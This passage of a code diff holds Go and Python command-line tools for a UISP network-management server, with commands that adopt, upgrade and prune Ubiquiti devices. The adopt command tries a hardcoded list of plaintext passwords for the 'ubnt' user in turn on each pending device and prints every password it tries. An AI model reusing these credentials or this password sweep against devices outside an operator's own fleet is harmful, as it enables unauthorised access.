||||
|
||||
discovered, err := c.ListDiscovered()
|
||||
if err != nil {
|
||||
return fmt.Errorf("listing discovered devices: %w", err)
|
||||
}
|
||||
|
||||
// Build the working set: --all = every discovered device; otherwise the
|
||||
// IDs passed on the CLI must be in the discovered list.
|
||||
byID := make(map[string]Device, len(discovered))
|
||||
for _, d := range discovered {
|
||||
byID[d.Identification.ID] = d
|
||||
}
|
||||
var queue []Device
|
||||
if *all {
|
||||
queue = discovered
|
||||
} else {
|
||||
ids := fs.Args()
|
||||
if len(ids) == 0 {
|
||||
return errors.New("usage: uisp approve <device-id>... | --all")
|
||||
}
|
||||
for _, id := range ids {
|
||||
d, ok := byID[id]
|
||||
if !ok {
|
||||
fmt.Fprintf(os.Stderr, "skip %s: not in discovered/pending list\n", id)
|
||||
continue
|
||||
}
|
||||
queue = append(queue, d)
|
||||
}
|
||||
}
|
||||
|
||||
if len(queue) == 0 {
|
||||
fmt.Println("no devices pending adoption.")
|
||||
return nil
|
||||
}
|
||||
|
||||
for _, d := range queue {
|
||||
fmt.Printf(" pending: %s %s %s\n", d.Identification.ID, dispName(d), d.Identification.ModelName)
|
||||
}
|
||||
|
||||
var siteID string
|
||||
if *site != "" {
|
||||
siteID, err = c.FindSiteByName(*site)
|
||||
if err != nil {
|
||||
return fmt.Errorf("looking up site %q: %w", *site, err)
|
||||
}
|
||||
fmt.Printf("site %q resolved to id %s\n", *site, siteID)
|
||||
}
|
||||
|
||||
if *dry {
|
||||
fmt.Printf("\ndry-run: would adopt %d device(s) by trying %d credential combo(s)",
|
||||
len(queue), len(StandardCredentials))
|
||||
if siteID != "" {
|
||||
fmt.Printf(", then assign to site %q", *site)
|
||||
}
|
||||
fmt.Println()
|
||||
return nil
|
||||
}
|
||||
|
||||
// Walk the credential list; each pass triggers UISP to retry connect on
|
||||
// every queued device with the new creds. UISP de-dupes — it will only
|
||||
// actually reconnect devices that haven't been adopted yet. After each
|
||||
// pass we poll discovery.isProcessing until everything settles.
|
||||
queueIDs := make([]string, 0, len(queue))
|
||||
for _, d := range queue {
|
||||
queueIDs = append(queueIDs, d.Identification.ID)
|
||||
}
|
||||
|
||||
for i, kp := range StandardCredentials {
|
||||
fmt.Printf("\n[%d/%d] trying user=%s pw=%s on %d device(s)...\n",
|
||||
i+1, len(StandardCredentials), kp.User, kp.Pass, len(queueIDs))
|
||||
if err := c.ConnectUbnt(queueIDs, kp.User, kp.Pass, *port); err != nil {
|
||||
fmt.Fprintf(os.Stderr, " connect call failed: %v\n", err)
|
||||
continue
|
||||
}
|
||||
statuses, err := waitForDiscoverySettle(c, queueIDs, 60*time.Second)
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, " poll failed: %v\n", err)
|
||||
continue
|
||||
}
|
||||
// Stop early if every device has either succeeded or hit a state
|
||||
// that won't change with new credentials.
|
||||
stillRetryable := false
|
||||
for _, s := range statuses {
|
||||
if s.Status == "authentication-failed" || s.Status == "authenticating" || s.Status == "starting" {
|
||||
stillRetryable = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !stillRetryable {
|
||||
fmt.Println(" no more credential-retryable devices, stopping cred sweep.")
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
// Final state: re-fetch /devices (where adopted devices live) and the
|
||||
// discovered list (residual + status). A device is "adopted" if it shows
|
||||
// up in /devices with a real type (not blackBox) — UISP creates the
|
||||
// blackBox SNMP record before adoption succeeds.
|
||||
allDevs, err := c.ListDevices()
|
||||
if err != nil {
|
||||
return fmt.Errorf("post-adoption ListDevices: %w", err)
|
||||
}
|
||||
devByID := map[string]Device{}
|
||||
for _, d := range allDevs {
|
||||
devByID[d.Identification.ID] = d
|
||||
}
|
||||
finalDiscovered, _ := c.ListDiscovered()
|
||||
discByID := map[string]Device{}
|
||||
for _, d := range finalDiscovered {
|
||||
discByID[d.Identification.ID] = d
|
||||
}
|
||||
|
||||
var adoptedIDs, stillFailed []string
|
||||
for _, id := range queueIDs {
|
||||
d, inFleet := devByID[id]
|
||||
if inFleet && d.Identification.Type != "blackBox" {
|
||||
adoptedIDs = append(adoptedIDs, id)
|
||||
} else {
|
||||
stillFailed = append(stillFailed, id)
|
||||
}
|
||||
}
|
||||
|
||||
if len(adoptedIDs) > 0 {
|
||||
fmt.Printf("\nadopted %d device(s):\n", len(adoptedIDs))
|
||||
for _, id := range adoptedIDs {
|
||||
fmt.Printf(" %s %s\n", id, dispName(devByID[id]))
|
||||
}
|
||||
}
|
||||
|
||||
if len(stillFailed) > 0 {
|
||||
fmt.Printf("\n%d device(s) still pending:\n", len(stillFailed))
|
||||
for _, id := range stillFailed {
|
||||
d := byID[id]
|
||||
cur := discByID[id]
|
||||
status, errMsg := "?", ""
|
||||
if cur.Discovery != nil {
|
||||
status = cur.Discovery.Status
|
||||
errMsg = cur.Discovery.Error
|
||||
}
|
||||
line := fmt.Sprintf(" %s %-32s status=%s", id, dispName(d), status)
|
||||
if errMsg != "" {
|
||||
line += " err=" + errMsg
|
||||
}
|
||||
fmt.Println(line)
|
||||
}
|
||||
}
|
||||
|
||||
if siteID != "" && len(adoptedIDs) > 0 {
|
||||
fmt.Printf("\nassigning %d adopted device(s) to site %q...\n", len(adoptedIDs), *site)
|
||||
if err := c.AssignDevicesToSite(adoptedIDs, siteID); err != nil {
|
||||
return fmt.Errorf("site assign: %w", err)
|
||||
}
|
||||
fmt.Println(" done.")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// waitForDiscoverySettle polls /devices/discovered for the given IDs until
|
||||
// none of them have isProcessing=true, or until the timeout fires.
|
||||
func waitForDiscoverySettle(c *Client, ids []string, timeout time.Duration) (map[string]struct{ Status, Error string }, error) {
|
||||
want := make(map[string]struct{}, len(ids))
|
||||
for _, id := range ids {
|
||||
want[id] = struct{}{}
|
||||
}
|
||||
deadline := time.Now().Add(timeout)
|
||||
for {
|
||||
discovered, err := c.ListDiscovered()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
statuses := map[string]struct{ Status, Error string }{}
|
||||
stillProcessing := 0
|
||||
for _, d := range discovered {
|
||||
if _, ok := want[d.Identification.ID]; !ok {
|
||||
continue
|
||||
}
|
||||
if d.Discovery != nil {
|
||||
statuses[d.Identification.ID] = struct{ Status, Error string }{d.Discovery.Status, d.Discovery.Error}
|
||||
if d.Discovery.IsProcessing {
|
||||
stillProcessing++
|
||||
}
|
||||
}
|
||||
}
|
||||
if stillProcessing == 0 || time.Now().After(deadline) {
|
||||
fmt.Printf(" settled (%d still processing at timeout)\n", stillProcessing)
|
||||
return statuses, nil
|
||||
}
|
||||
fmt.Printf(" ...waiting on %d device(s)\n", stillProcessing)
|
||||
time.Sleep(5 * time.Second)
|
||||
}
|
||||
}
|
||||
|
||||
func cmdUpgrade(args []string) error {
|
||||
fs := flag.NewFlagSet("upgrade", flag.ExitOnError)
|
||||
all := fs.Bool("all", false, "upgrade every device with an available update")
|
||||
yes := fs.Bool("yes", false, "actually perform upgrades (default is dry-run)")
|
||||
force := fs.Bool("force", false, "upgrade even if current == latest firmware")
|
||||
if err := fs.Parse(args); err != nil {
|
||||
return err
|
||||
}
|
||||
c, err := NewClient()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
type target struct {
|
||||
id, name, fw string
|
||||
}
|
||||
var targets []target
|
||||
|
||||
devs, err := c.ListDevices()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
fws, fwErr := c.ListFirmwares()
|
||||
if fwErr != nil {
|
||||
fmt.Fprintf(os.Stderr, "warning: could not list firmwares: %v\n", fwErr)
|
||||
}
|
||||
byID := make(map[string]Device, len(devs))
|
||||
for _, d := range devs {
|
||||
byID[d.Identification.ID] = d
|
||||
}
|
||||
|
||||
makeTarget := func(d Device) target {
|
||||
cur := firstNonEmpty(d.Firmware.Current, d.Identification.FirmwareVersion)
|
||||
latest := firstNonEmpty(d.Firmware.Latest, latestFirmwareFor(fws, d))
|
||||
arrow := cur
|
||||
if latest != "" && latest != cur {
|
||||
arrow = cur + " → " + latest
|
||||
}
|
||||
return target{id: d.Identification.ID, name: dispName(d), fw: arrow}
|
||||
}
|
||||
|
||||
if *all {
|
||||
for _, d := range devs {
|
||||
if !needsUpgrade(d, fws) {
|
||||
continue
|
||||
}
|
||||
targets = append(targets, makeTarget(d))
|
||||
}
|
||||
} else {
|
||||
ids := fs.Args()
|
||||
if len(ids) == 0 {
|
||||
return errors.New("usage: uisp upgrade <device-id>... [--yes] [--force] | --all [--yes]")
|
||||
}
|
||||
for _, id := range ids {
|
||||
d, ok := byID[id]
|
||||
if !ok {
|
||||
fmt.Fprintf(os.Stderr, "skip %s: device not found\n", id)
|
||||
continue
|
||||
}
|
||||
if !needsUpgrade(d, fws) && !*force {
|
||||
cur := firstNonEmpty(d.Firmware.Current, d.Identification.FirmwareVersion)
|
||||
latest := firstNonEmpty(d.Firmware.Latest, latestFirmwareFor(fws, d))
|
||||
fmt.Fprintf(os.Stderr, "skip %s (%s): already on %s (latest %s) — pass --force to override\n",
|
||||
id, dispName(d), cur, firstNonEmpty(latest, "?"))
|
||||
continue
|
||||
}
|
||||
targets = append(targets, makeTarget(d))
|
||||
}
|
||||
}
|
||||
|
||||
if len(targets) == 0 {
|
||||
fmt.Println("no devices need upgrade.")
|
||||
return nil
|
||||
}
|
||||
|
||||
for _, t := range targets {
|
||||
fmt.Printf(" %s %s %s\n", t.id, t.name, t.fw)
|
||||
}
|
||||
if !*yes {
|
||||
fmt.Printf("\ndry-run: %d device(s) would be upgraded. Pass --yes to execute.\n", len(targets))
|
||||
return nil
|
||||
}
|
||||
|
||||
var failed int
|
||||
for _, t := range targets {
|
||||
if err := c.UpgradeDevice(t.id); err != nil {
|
||||
fmt.Fprintf(os.Stderr, "FAIL %s: %v\n", t.id, err)
|
||||
failed++
|
||||
continue
|
||||
}
|
||||
fmt.Printf("OK %s upgrade triggered\n", t.id)
|
||||
}
|
||||
if failed > 0 {
|
||||
return fmt.Errorf("%d/%d upgrades failed", failed, len(targets))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func cmdCreds(args []string) error {
|
||||
fs := flag.NewFlagSet("creds", flag.ExitOnError)
|
||||
all := fs.Bool("all", false, "try standard creds against every device")
|
||||
user := fs.String("user", "", "single username (overrides standard list)")
|
||||
pass := fs.String("pass", "", "single password (used with --user)")
|
||||
if err := fs.Parse(args); err != nil {
|
||||
return err
|
||||
}
|
||||
c, err := NewClient()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
var ids []string
|
||||
if *all {
|
||||
devs, err := c.ListDevices()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
for _, d := range devs {
|
||||
ids = append(ids, d.Identification.ID)
|
||||
}
|
||||
} else {
|
||||
ids = fs.Args()
|
||||
if len(ids) == 0 {
|
||||
return errors.New("usage: uisp creds <device-id>... | --all [--user U --pass P]")
|
||||
}
|
||||
}
|
||||
|
||||
manual := *user != "" || *pass != ""
|
||||
if manual && (*user == "" || *pass == "") {
|
||||
return errors.New("--user and --pass must be used together")
|
||||
}
|
||||
|
||||
for _, id := range ids {
|
||||
if manual {
|
||||
if err := c.SetDeviceCredentials(id, *user, *pass); err != nil {
|
||||
fmt.Fprintf(os.Stderr, "FAIL %s: %v\n", id, err)
|
||||
continue
|
||||
}
|
||||
fmt.Printf("OK %s (user=%s)\n", id, *user)
|
||||
continue
|
||||
}
|
||||
u, p, err := c.TryStandardCredentials(id)
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "FAIL %s: %v\n", id, err)
|
||||
continue
|
||||
}
|
||||
fmt.Printf("OK %s (user=%s pw=%s)\n", id, u, p)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func usage() {
|
||||
fmt.Fprint(os.Stderr, `uisp - CLI for UISP at $UISP_URL (default `+defaultBaseURL+`)
|
||||
|
||||
Auth: export UISP_KEY=<x-auth-token from UISP user settings>
|
||||
|
||||
Commands:
|
||||
list [--unauthorized] [--upgradable] [--json]
|
||||
approve <device-id>... | --all [--site vntx] [--try-creds] [--dry-run]
|
||||
creds <device-id>... | --all [--user U --pass P]
|
||||
upgrade <device-id>... | --all [--yes] (dry-run unless --yes)
|
||||
|
||||
Examples:
|
||||
uisp list --upgradable
|
||||
uisp approve --all # approve, assign to "vntx", try standard creds
|
||||
uisp approve --all --site vntx --dry-run
|
||||
uisp creds --all # retry standard creds across the fleet
|
||||
uisp upgrade --all --yes
|
||||
`)
|
||||
}
|
||||
|
||||
func main() {
|
||||
if len(os.Args) < 2 {
|
||||
usage()
|
||||
os.Exit(2)
|
||||
}
|
||||
var err error
|
||||
switch os.Args[1] {
|
||||
case "list", "ls":
|
||||
err = cmdList(os.Args[2:])
|
||||
case "approve":
|
||||
err = cmdApprove(os.Args[2:])
|
||||
case "creds":
|
||||
err = cmdCreds(os.Args[2:])
|
||||
case "upgrade":
|
||||
err = cmdUpgrade(os.Args[2:])
|
||||
case "-h", "--help", "help":
|
||||
usage()
|
||||
return
|
||||
default:
|
||||
usage()
|
||||
os.Exit(2)
|
||||
}
|
||||
if err != nil {
|
||||
fmt.Fprintln(os.Stderr, "error:", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
BIN
uisp/uisp
Executable file
BIN
uisp/uisp
Executable file
Binary file not shown.
742
uisp/uisp.py
Executable file
742
uisp/uisp.py
Executable file
|
|
@ -0,0 +1,742 @@
|
|||
#!/usr/bin/env python3
|
||||
"""
|
||||
uisp — CLI for UISP at $UISP_URL (default https://uisp.vntx.net).
|
||||
|
||||
Auth: export UISP_KEY=<x-auth-token from UISP user settings>.
|
||||
|
||||
Subcommands:
|
||||
list [--unauthorized] [--upgradable] [--json] [--raw]
|
||||
approve <id>... | --all [--site vntx] [--port 443] [--dry-run]
|
||||
upgrade <id>... | --all [--yes] [--force]
|
||||
prune [--days 1] [--yes] delete devices offline longer than N days
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import datetime as dt
|
||||
import json
|
||||
import os
|
||||
import ssl
|
||||
import sys
|
||||
import time
|
||||
import urllib.error
|
||||
import urllib.parse
|
||||
import urllib.request
|
||||
from collections import Counter
|
||||
from typing import Any, Iterable
|
||||
|
||||
DEFAULT_BASE = os.environ.get("UISP_URL", "https://uisp.vntx.net").rstrip("/")
|
||||
TOKEN = os.environ.get("UISP_KEY") or os.environ.get("UISP_TOKEN")
|
||||
|
||||
# Ordered list — first cred that lets UISP adopt a device wins.
|
||||
STANDARD_CREDS = [
|
||||
("ubnt", "fngckewl"),
|
||||
("ubnt", "vntx1830"),
|
||||
("ubnt", "Vntx1830"),
|
||||
("ubnt", "vntx1830vntx"),
|
||||
("ubnt", "H8xd9tkryg"),
|
||||
("ubnt", "h8xd9tkryg"),
|
||||
]
|
||||
|
||||
# discovery.status values that mean "trying again with a new password might help".
|
||||
RETRYABLE_DISCOVERY_STATUSES = {
|
||||
"authentication-failed",
|
||||
"authenticating",
|
||||
"starting",
|
||||
}
|
||||
|
||||
|
||||
def die(msg: str, code: int = 1) -> None:
|
||||
print(f"error: {msg}", file=sys.stderr)
|
||||
sys.exit(code)
|
||||
|
||||
|
||||
def api(method: str, path: str, body: Any = None) -> Any:
|
||||
if not TOKEN:
|
||||
die("UISP_KEY env var is not set")
|
||||
url = f"{DEFAULT_BASE}/nms/api/v2.1{path}"
|
||||
data = None
|
||||
if body is not None:
|
||||
data = json.dumps(body).encode()
|
||||
req = urllib.request.Request(url, data=data, method=method)
|
||||
req.add_header("X-Auth-Token", TOKEN)
|
||||
req.add_header("Accept", "application/json")
|
||||
if body is not None:
|
||||
req.add_header("Content-Type", "application/json")
|
||||
ctx = ssl.create_default_context()
|
||||
try:
|
||||
with urllib.request.urlopen(req, context=ctx, timeout=60) as resp:
|
||||
raw = resp.read()
|
||||
except urllib.error.HTTPError as e:
|
||||
raw = e.read()
|
||||
try:
|
||||
payload = json.loads(raw)
|
||||
msg = payload.get("message") or payload
|
||||
except Exception:
|
||||
msg = raw.decode("utf-8", "replace")[:200]
|
||||
die(f"{method} {url}: HTTP {e.code}: {msg}")
|
||||
if not raw:
|
||||
return None
|
||||
return json.loads(raw)
|
||||
|
||||
|
||||
# ---------- Helpers ----------
|
||||
|
||||
def disp_name(d: dict) -> str:
|
||||
ident = d.get("identification") or {}
|
||||
return ident.get("hostname") or ident.get("name") or ident.get("displayName") or ident.get("mac") or "?"
|
||||
|
||||
|
||||
def parse_version(v: str) -> tuple[int, ...]:
|
||||
"""Loose semver parse: '6.3.24-cs' -> (6, 3, 24)."""
|
||||
if not v:
|
||||
return ()
|
||||
v = v.lstrip("v")
|
||||
head = ""
|
||||
for ch in v:
|
||||
if ch in "-+ ":
|
||||
break
|
||||
head += ch
|
||||
parts = []
|
||||
for chunk in head.split("."):
|
||||
n = 0
|
||||
for ch in chunk:
|
||||
if not ch.isdigit():
|
||||
break
|
||||
n = n * 10 + int(ch)
|
||||
parts.append(n)
|
||||
return tuple(parts)
|
||||
|
||||
|
||||
def version_lt(a: str, b: str) -> bool:
|
||||
return parse_version(a) < parse_version(b)
|
||||
|
||||
|
||||
def latest_firmware_for(fws: list[dict], d: dict) -> str:
|
||||
ident = d.get("identification") or {}
|
||||
plat = ident.get("platformId")
|
||||
model = ident.get("model")
|
||||
if not plat or not model:
|
||||
return ""
|
||||
best = ""
|
||||
for fw in fws:
|
||||
ident_fw = fw.get("identification") or {}
|
||||
if ident_fw.get("platformId") != plat:
|
||||
continue
|
||||
models = ident_fw.get("models") or []
|
||||
if models and model not in models:
|
||||
continue
|
||||
if not ident_fw.get("stable", True):
|
||||
continue
|
||||
v = ident_fw.get("version") or ""
|
||||
if not best or version_lt(best, v):
|
||||
best = v
|
||||
return best
|
||||
|
||||
|
||||
def needs_upgrade(d: dict, fws: list[dict]) -> bool:
|
||||
ident = d.get("identification") or {}
|
||||
if ident.get("type") == "blackBox":
|
||||
return False
|
||||
model = ident.get("model")
|
||||
if not model or model == "UNKNOWN":
|
||||
return False
|
||||
cur = ident.get("firmwareVersion") or (d.get("firmware") or {}).get("current") or ""
|
||||
if not cur:
|
||||
return False
|
||||
latest = latest_firmware_for(fws, d)
|
||||
if not latest:
|
||||
return False
|
||||
return version_lt(cur, latest)
|
||||
|
||||
|
||||
def is_unauthorized(d: dict) -> bool:
|
||||
ident = d.get("identification") or {}
|
||||
overview = d.get("overview") or {}
|
||||
return not ident.get("authorized", True) or overview.get("status") == "discovered"
|
||||
|
||||
|
||||
# ---------- Commands ----------
|
||||
|
||||
def cmd_list(args: argparse.Namespace) -> None:
|
||||
if args.unauthorized:
|
||||
devs = api("GET", "/devices/discovered") or []
|
||||
# SNMP-discovered stubs come back as model=UNKNOWN and aren't actually
|
||||
# adoptable. Hide by default to keep the pending-adoption view useful.
|
||||
if not args.include_unknown:
|
||||
devs = [d for d in devs if (d.get("identification") or {}).get("model") not in ("", None, "UNKNOWN")]
|
||||
else:
|
||||
devs = api("GET", "/devices?withInterfaces=false")
|
||||
|
||||
if args.raw:
|
||||
json.dump(devs, sys.stdout, indent=2)
|
||||
print()
|
||||
return
|
||||
|
||||
fws = api("GET", "/firmwares") or []
|
||||
|
||||
rows = []
|
||||
for d in devs:
|
||||
if args.upgradable and not needs_upgrade(d, fws):
|
||||
continue
|
||||
rows.append(d)
|
||||
rows.sort(key=disp_name)
|
||||
|
||||
if args.json:
|
||||
json.dump(rows, sys.stdout, indent=2)
|
||||
print()
|
||||
return
|
||||
|
||||
headers = ["ID", "NAME", "MODEL", "SITE", "FW", "STATUS", "AUTH", "UPGRADE"]
|
||||
table = []
|
||||
for d in rows:
|
||||
ident = d.get("identification") or {}
|
||||
ov = d.get("overview") or {}
|
||||
cur = ident.get("firmwareVersion") or (d.get("firmware") or {}).get("current") or ""
|
||||
latest = latest_firmware_for(fws, d)
|
||||
fw = cur or "-"
|
||||
if latest and latest != cur and version_lt(cur, latest):
|
||||
fw = f"{cur} → {latest}"
|
||||
site_name = ""
|
||||
site = ident.get("site")
|
||||
if isinstance(site, dict):
|
||||
site_name = site.get("name") or ""
|
||||
table.append([
|
||||
ident.get("id", ""),
|
||||
disp_name(d),
|
||||
ident.get("modelName") or ident.get("model") or "",
|
||||
site_name,
|
||||
fw,
|
||||
ov.get("status") or "",
|
||||
"yes" if ident.get("authorized") else "NO",
|
||||
"yes" if needs_upgrade(d, fws) else "",
|
||||
])
|
||||
widths = [max(len(h), *(len(r[i]) for r in table)) if table else len(h) for i, h in enumerate(headers)]
|
||||
print(" ".join(h.ljust(w) for h, w in zip(headers, widths)))
|
||||
for r in table:
|
||||
print(" ".join(c.ljust(w) for c, w in zip(r, widths)))
|
||||
|
||||
|
||||
def lookup_site_id(name: str) -> str:
|
||||
sites = api("GET", "/sites")
|
||||
want = name.strip().lower()
|
||||
for s in sites:
|
||||
ident = s.get("identification") or {}
|
||||
n = ident.get("name") or s.get("name") or ""
|
||||
if n.lower() == want:
|
||||
return ident.get("id") or s.get("id")
|
||||
die(f"site {name!r} not found")
|
||||
|
||||
|
||||
def wait_settle(ids: list[str], timeout_sec: int = 60) -> dict[str, dict]:
|
||||
"""Poll /devices/discovered until none of the given IDs report
|
||||
isProcessing=true (or timeout). Returns the latest discovery dict per ID."""
|
||||
want = set(ids)
|
||||
deadline = time.time() + timeout_sec
|
||||
last: dict[str, dict] = {}
|
||||
while True:
|
||||
discovered = api("GET", "/devices/discovered") or []
|
||||
last = {}
|
||||
still = 0
|
||||
for d in discovered:
|
||||
ident = d.get("identification") or {}
|
||||
did = ident.get("id")
|
||||
if did not in want:
|
||||
continue
|
||||
disc = d.get("discovery") or {}
|
||||
last[did] = {**disc, "_device": d}
|
||||
if disc.get("isProcessing"):
|
||||
still += 1
|
||||
if still == 0 or time.time() > deadline:
|
||||
print(f" settled (still processing: {still})")
|
||||
return last
|
||||
print(f" ...waiting on {still} device(s)")
|
||||
time.sleep(5)
|
||||
|
||||
|
||||
def cmd_approve(args: argparse.Namespace) -> None:
|
||||
discovered = api("GET", "/devices/discovered") or []
|
||||
by_id = {d["identification"]["id"]: d for d in discovered}
|
||||
|
||||
if args.all:
|
||||
queue = list(discovered)
|
||||
else:
|
||||
if not args.ids:
|
||||
die("usage: uisp approve <id>... | --all")
|
||||
queue = []
|
||||
for did in args.ids:
|
||||
if did not in by_id:
|
||||
print(f"skip {did}: not in discovered list", file=sys.stderr)
|
||||
continue
|
||||
queue.append(by_id[did])
|
||||
|
||||
# Devices with model "UNKNOWN" are SNMP-discovered stubs UISP can't manage —
|
||||
# connect/ubnt always fails on them, so don't burn cycles trying.
|
||||
if not args.include_unknown:
|
||||
before = len(queue)
|
||||
queue = [d for d in queue if (d.get("identification") or {}).get("model") not in ("", None, "UNKNOWN")]
|
||||
skipped = before - len(queue)
|
||||
if skipped:
|
||||
print(f"skipping {skipped} device(s) with model=UNKNOWN (use --include-unknown to override)")
|
||||
|
||||
if not queue:
|
||||
print("no devices pending adoption.")
|
||||
return
|
||||
|
||||
queue_ids = [d["identification"]["id"] for d in queue]
|
||||
print(f"queue ({len(queue)} device(s)):")
|
||||
for d in queue:
|
||||
ident = d["identification"]
|
||||
print(f" {ident['id']} {disp_name(d):<32} {ident.get('modelName') or ident.get('model','')}")
|
||||
|
||||
site_id = ""
|
||||
if args.site:
|
||||
site_id = lookup_site_id(args.site)
|
||||
print(f"site {args.site!r} resolved to id {site_id}")
|
||||
|
||||
if args.dry_run:
|
||||
print(f"\ndry-run: would try {len(STANDARD_CREDS)} credential combo(s)" +
|
||||
(f" then assign to site {args.site!r}" if site_id else ""))
|
||||
return
|
||||
|
||||
# Cred sweep — each pass only triggers connect on still-retryable IDs.
|
||||
retry_ids = list(queue_ids)
|
||||
for i, (user, pw) in enumerate(STANDARD_CREDS, 1):
|
||||
if not retry_ids:
|
||||
break
|
||||
print(f"\n[{i}/{len(STANDARD_CREDS)}] trying user={user} pw={pw} on {len(retry_ids)} device(s)...")
|
||||
try:
|
||||
api("POST", "/discovery/connect/ubnt", {
|
||||
"deviceIds": retry_ids,
|
||||
"username": user,
|
||||
"password": pw,
|
||||
"httpsPort": args.port,
|
||||
})
|
||||
except SystemExit:
|
||||
print(" connect call failed; moving on", file=sys.stderr)
|
||||
continue
|
||||
statuses = wait_settle(retry_ids, timeout_sec=args.poll_timeout)
|
||||
# Keep only IDs that are still retryable for the next cred.
|
||||
next_retry = []
|
||||
for did in retry_ids:
|
||||
st = statuses.get(did, {}).get("status", "")
|
||||
if st in RETRYABLE_DISCOVERY_STATUSES:
|
||||
next_retry.append(did)
|
||||
retry_ids = next_retry
|
||||
|
||||
# Final reconciliation.
|
||||
fleet = api("GET", "/devices?withInterfaces=false") or []
|
||||
fleet_by_id = {d["identification"]["id"]: d for d in fleet}
|
||||
final_disc = {d["identification"]["id"]: d for d in (api("GET", "/devices/discovered") or [])}
|
||||
|
||||
adopted, failed = [], []
|
||||
for did in queue_ids:
|
||||
d = fleet_by_id.get(did)
|
||||
if d and d["identification"].get("type") != "blackBox":
|
||||
adopted.append(did)
|
||||
else:
|
||||
failed.append(did)
|
||||
|
||||
if adopted:
|
||||
print(f"\nadopted {len(adopted)} device(s):")
|
||||
for did in adopted:
|
||||
print(f" {did} {disp_name(fleet_by_id[did])}")
|
||||
|
||||
if failed:
|
||||
# Group by status for a tidy summary.
|
||||
groups: dict[str, list[tuple[str, str, str]]] = {}
|
||||
for did in failed:
|
||||
d = final_disc.get(did) or by_id.get(did) or {}
|
||||
disc = d.get("discovery") or {}
|
||||
status = disc.get("status") or "unknown"
|
||||
err = disc.get("error") or ""
|
||||
groups.setdefault(status, []).append((did, disp_name(d), err))
|
||||
print(f"\n{len(failed)} device(s) still pending:")
|
||||
for status in sorted(groups):
|
||||
entries = groups[status]
|
||||
print(f" [{status}] ({len(entries)})")
|
||||
for did, name, err in entries:
|
||||
line = f" {did} {name}"
|
||||
if err:
|
||||
line += f" — {err}"
|
||||
print(line)
|
||||
|
||||
if site_id and adopted:
|
||||
print(f"\nassigning {len(adopted)} adopted device(s) to site {args.site!r}...")
|
||||
api("POST", "/devices/authorize", {"siteId": site_id, "deviceIds": adopted})
|
||||
print(" done.")
|
||||
|
||||
|
||||
def parse_uisp_time(s: str | None) -> dt.datetime | None:
|
||||
"""UISP returns ISO 8601 like '2026-04-15T00:08:42.587Z'. Returns aware UTC dt."""
|
||||
if not s:
|
||||
return None
|
||||
s = s.replace("Z", "+00:00")
|
||||
try:
|
||||
return dt.datetime.fromisoformat(s)
|
||||
except ValueError:
|
||||
return None
|
||||
|
||||
|
||||
def cmd_prune(args: argparse.Namespace) -> None:
|
||||
devs = api("GET", "/devices?withInterfaces=false") or []
|
||||
now = dt.datetime.now(dt.timezone.utc)
|
||||
cutoff = now - dt.timedelta(days=args.days)
|
||||
|
||||
stale = []
|
||||
for d in devs:
|
||||
ident = d.get("identification") or {}
|
||||
ov = d.get("overview") or {}
|
||||
last_seen = parse_uisp_time(ov.get("lastSeen"))
|
||||
if last_seen is not None and last_seen >= cutoff:
|
||||
continue
|
||||
if last_seen is None and args.skip_never_seen:
|
||||
continue
|
||||
# Skip backbone routers / switches by default — losing one of these from
|
||||
# UISP just because it's not reporting in would be an own-goal.
|
||||
if not args.include_infra and ident.get("type") in {"erouter", "eswitch", "olt"}:
|
||||
continue
|
||||
if not args.include_infra and ident.get("role") in {"router", "switch", "gateway"}:
|
||||
continue
|
||||
stale.append((d, last_seen))
|
||||
|
||||
if not stale:
|
||||
print(f"no devices offline longer than {args.days} day(s).")
|
||||
return
|
||||
|
||||
stale.sort(key=lambda t: t[1] or dt.datetime.min.replace(tzinfo=dt.timezone.utc))
|
||||
|
||||
# Summary buckets so the user can sanity-check before approving.
|
||||
summary: Counter = Counter()
|
||||
type_summary: Counter = Counter()
|
||||
for d, last_seen in stale:
|
||||
if last_seen is None:
|
||||
bucket = "never seen"
|
||||
else:
|
||||
age_days = (now - last_seen).days
|
||||
if age_days > 30:
|
||||
bucket = ">30d offline"
|
||||
elif age_days > 7:
|
||||
bucket = "7-30d offline"
|
||||
else:
|
||||
bucket = "1-7d offline"
|
||||
summary[bucket] += 1
|
||||
type_summary[(bucket, (d.get("identification") or {}).get("type") or "?")] += 1
|
||||
|
||||
print(f"{len(stale)} device(s) eligible for prune (offline > {args.days}d, including never-seen={'no' if args.skip_never_seen else 'yes'}):")
|
||||
for bucket, n in summary.most_common():
|
||||
print(f" {n:>4} {bucket}")
|
||||
print()
|
||||
print("by bucket × type:")
|
||||
for (bucket, t), n in sorted(type_summary.items()):
|
||||
print(f" {n:>4} {bucket:<14} type={t}")
|
||||
print()
|
||||
|
||||
if args.verbose:
|
||||
print("detail:")
|
||||
for d, last_seen in stale:
|
||||
ident = d["identification"]
|
||||
site_name = ""
|
||||
if isinstance(ident.get("site"), dict):
|
||||
site_name = ident["site"].get("name") or ""
|
||||
age = "never seen" if last_seen is None else f"{(now - last_seen).days}d"
|
||||
print(f" {ident['id']} {disp_name(d):<30} "
|
||||
f"{ident.get('modelName') or ident.get('model',''):<22} "
|
||||
f"site={site_name:<14} offline={age}")
|
||||
print()
|
||||
|
||||
if not args.yes:
|
||||
print(f"dry-run: pass --yes to delete these {len(stale)} device(s) (use --verbose to see each one).")
|
||||
return
|
||||
|
||||
ids = [d["identification"]["id"] for d, _ in stale]
|
||||
api("POST", "/devices/bulkdelete", {"ids": ids})
|
||||
print(f"deleted {len(ids)} device(s).")
|
||||
|
||||
|
||||
# Whitelist of fields UISP's PUT /nms/settings will accept. Extracted from the
|
||||
# UI bundle (`hZr` array). Anything else triggers a 400 like "X is not allowed".
|
||||
SETTINGS_PUT_ALLOWED = {
|
||||
